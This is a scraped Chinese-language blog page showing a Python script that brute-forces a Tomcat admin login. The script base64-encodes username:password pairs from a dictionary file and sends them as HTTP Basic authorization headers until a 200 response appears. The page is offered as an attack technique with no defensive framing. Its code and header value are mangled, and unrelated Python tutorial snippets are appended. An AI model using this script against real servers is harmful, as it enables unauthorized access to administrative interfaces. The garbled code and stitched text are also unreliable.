tomcat後台的位址是
通過谷歌遊覽器的無痕視窗檢查分析,發現請求頭的
authorization: basic ywrtaw46mtizna==
可能是使用者名稱和密碼
tomcat對使用者名稱和密碼進行了加密,根據等號,加密演算法可能是base64
對ywrtaw46mtizna==進行base64解密,發現是使用者名稱:密碼
使用python3 的requests模組對tomcat後台進行爆破
import requests
import base64
url =
""with
open
("dict.txt"
,"r"
)as f:
while1:
# 取出字典中的使用者名稱和密碼
passwd = f.readline()[
:-1]
# 如果為空,dick.txt檔案的最後一行,退出執行
if passwd =="":
break
# 對使用者名稱和密碼進行base64加密
authorization =
"basic "
+ base64.b64encode(passwd.encode(
"utf-8"))
.decode(
"utf-8"
) headers =
response = requests.get(url, headers=headers)
print
(response.status_code)
# 根據返回的狀態碼,判斷使用者名稱和密碼是否正確
if response.status_code ==
200:
print
("success"
)print
("使用者名稱:密碼"
+ passwd)
break
dict.txt 內容如下
tomcat:
1234
admin:
1234
python3使用 python3使用模組
python內建了很多非常有用的模組,只要安裝完畢,這些模組就可以立刻使用。我們以內建的sys模組為例,編寫乙個hello的模組 usr bin env python3 coding utf 8 a test module author michael liao import sys def tes...
python 元組使用 Python3
python3 元組 python 的元組與列表類似,不同之處在於元組的元素不能修改。元組使用小括號 列表使用方括號 元組建立很簡單,只需要在括號中新增元素,並使用逗號隔開即可。例項 python 3.0 tup1 google runoob 1997,2000 tup2 1,2,3,4,5 tup...
Python3 使用模組
python本身就內建了很多非常有用的模組,只要安裝完畢,這些模組就可以立刻使用。我們以內建的sys模組為例,編寫乙個hello的模組 usr bin env python3 coding utf 8 a test module author michael liao import sys def ...